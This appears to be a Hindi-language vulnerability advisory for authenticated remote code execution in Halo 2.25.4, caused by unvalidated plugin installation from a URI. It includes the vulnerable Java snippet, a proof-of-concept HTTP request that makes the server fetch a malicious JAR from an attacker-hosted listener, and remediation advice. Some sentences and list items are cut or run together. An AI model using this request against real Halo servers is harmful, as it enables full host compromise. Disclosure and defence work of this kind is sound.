
Halo 2.25.4 में अमान्य प्लगइन URI इंस्टॉलेशन के माध्यम से प्रमाणित रिमोट कोड निष्पादन भेद्यता का प्रदर्शन करता है, जिसमें तकनीकी विश्लेषण और प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट शामिल है।
Halo संस्करण 2.25.4 में एक गंभीर सुरक्षा भेद्यता की पहचान की गई है। एप्लिकेशन दूरस्थ URI से प्लगइन्स इंस्टॉल या अपग्रेड करने के लिए एक प्रशासनिक एंडपॉइंट प्रदान करता है। हालाँकि, सिस्टम URI के स्रोत डोमेन को मान्य करने में विफल रहता है और इस विशिष्ट घटक पर सर्वर-साइड रिक्वेस्ट फोर्जरी (SSRF) सुरक्षा का अभाव है। प्लगइन प्रबंधन विशेषाधिकारों वाला एक प्रमाणित हमलावर दुर्भावनापूर्ण रूप से तैयार किए गए प्लगइन JAR फ़ाइल के लिंक की आपूर्ति कर सकता है। सर्वर PF4J फ्रेमवर्क और Spring के DefaultPluginApplicationContextFactory का उपयोग करके JAR फ़ाइल को डाउनलोड करेगा, अस्थायी रूप से संग्रहीत करेगा, और JVM संदर्भ में गतिशील रूप से लोड करेगा। यह अविश्वसनीय एक्सटेंशन कक्षाओं के निष्पादन की अनुमति देता है, जिसके परिणामस्वरूप अंतर्निहित होस्ट ऑपरेटिंग सिस्टम पर मनमाना रिमोट कोड निष्पादन (RCE) होता है।
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H)CVE फॉर्म में सबमिट करते समय कृपया अल्पविराम से अलग करें:
Plaintext
PluginEndpoint.java, installFromUri method, DefaultPluginApplicationContextFactory
एक प्रमाणित व्यवस्थापक /apis/api.console.halo.run/v1alpha1/plugins/-/install-from-uri एंडपॉइंट पर एक दुर्भावनापूर्ण दूरस्थ प्लगइन JAR URL युक्त एक क्राफ्टेड HTTP POST अनुरोध भेज सकता है।
रिमोट कोड निष्पादन निम्नलिखित संचालन अनुक्रम के माध्यम से होता है:
PluginEndpoint.installFromUri() विधि आने वाले अनुरोध निकाय (InstallFromUriRequest) को संसाधित करती है और उपयोगकर्ता द्वारा आपूर्ति की गई uri स्ट्रिंग को निकालती है। कोई डोमेन व्हाइटलिस्ट फ़िल्टरिंग लागू नहीं की जाती है।DefaultReactiveUrlDataBufferFetcher.fetch(uri) को पास किया जाता है। Halo में अन्य आंतरिक नेटवर्किंग घटकों के विपरीत, यह फेचर HttpSecurityUtils.secureHttpClient() को लागू नहीं करता है, जिससे आंतरिक निजी नेटवर्क/लूपबैक IP प्रतिबंध (SSRF सुरक्षा) छूट जाते हैं।writeToTempFile(content) के माध्यम से होस्ट सर्वर पर एक स्थानीय अस्थायी निर्देशिका में लिखी जाती है।pluginService.install(path) पर पास करता है, जो JAR फ़ाइल को अनपैक और लोड करने के लिए PF4J JarPluginLoader का उपयोग करता है।DefaultPluginApplicationContextFactory स्वचालित रूप से प्लगइन के plugin.yaml के अंदर मेटाडेटा को पार्स करता है और सभी घोषित एक्सटेंशन कक्षाओं को सक्रिय Spring बीन्स के रूप में एप्लिकेशन संदर्भ में पंजीकृत करता है।static {}) या @PostConstruct के साथ एनोटेट किए गए मेथड ब्लॉक के अंदर रखा गया कोई भी दुर्भावनापूर्ण कोड Runtime.getRuntime().exec() के माध्यम से इंस्टेंस निर्माण के दौरान तुरंत निष्पादित किया जाएगा।PluginEndpoint.java पंक्तियाँ 422-428):Java
var content = request.bodyToMono(InstallFromUriRequest.class)
.map(InstallFromUriRequest::uri)
.flatMapMany(reactiveUrlDataBufferFetcher::fetch); // अमान्य नेटवर्क फेच
return Mono.usingWhen(writeToTempFile(content), pluginService::install, this::deleteFileIfExists);
हमलावर एक मानक PF4J/Halo प्लगइन JAR फ़ाइल (poc-plugin.jar) संकलित करता है जिसमें @PostConstruct लाइफसाइकिल हुक या स्टैटिक ब्लॉक के अंदर पेलोड निष्पादन तंत्र वाली एक एक्सटेंशन क्लास होती है। हमलावर इसे बाहरी लिसनर पर होस्ट करता है:
Bash
python3 -m http.server 9999
प्रमाणित प्रशासनिक उपयोगकर्ता लक्ष्य Halo सर्वर पर निम्नलिखित HTTP अनुरोध भेजता है:
HTTP
POST /apis/api.console.halo.run/v1alpha1/plugins/-/install-from-uri HTTP/1.1
Host: <target-ip>:8090
Authorization: Bearer <ADMIN_TOKEN_HERE>
Content-Type: application/json
{
"uri": "http://<attacker-ip>:9999/poc-plugin.jar"
}
सर्वर इंस्टॉलेशन को संसाधित करता है, हमलावर के सर्वर से आर्टिफैक्ट प्राप्त करता है, एक्सटेंशन को पंजीकृत करता है, और संकलित सिस्टम कमांड को निष्पादित करता है, जिससे लक्ष्य होस्ट से समझौता होता है।


application.yaml), और संग्रहीत फ़ाइलों का सीधा एक्सपोज़र।uri तर्क पर सख्त सत्यापन नियम लागू करें। दूरस्थ इंस्टॉलेशन स्कीमा को सत्यापित, विश्वसनीय आधिकारिक इकोसिस्टम मार्केटप्लेस (जैसे, https://awesome.halo.run) तक प्रतिबंधित करें।127.0.0.1), लिंक-लोकल (169.254.169.254), या निजी क्लास नेटवर्क (10.0.0.0/8, 192.168.0.0/16) की ओर इशारा करने वाले अनुरोधों को छोड़ने के लिए DefaultReactiveUrlDataBufferFetcher को मौजूदा HttpSecurityUtils.secureHttpClient() उपयोगिता का उपयोग करने के लिए रीफैक्टर करें।JarPluginLoader संदर्भ को DefaultPluginApplicationContextFactory को संदर्भ इंस्टेंशिएशन के लिए पास करने से पहले आधिकारिक रिपॉजिटरी द्वारा प्रदान की गई सार्वजनिक कुंजियों के विरुद्ध फ़ाइल हैश या क्रिप्टोग्राफिक हस्ताक्षरों को मान्य करना चाहिए।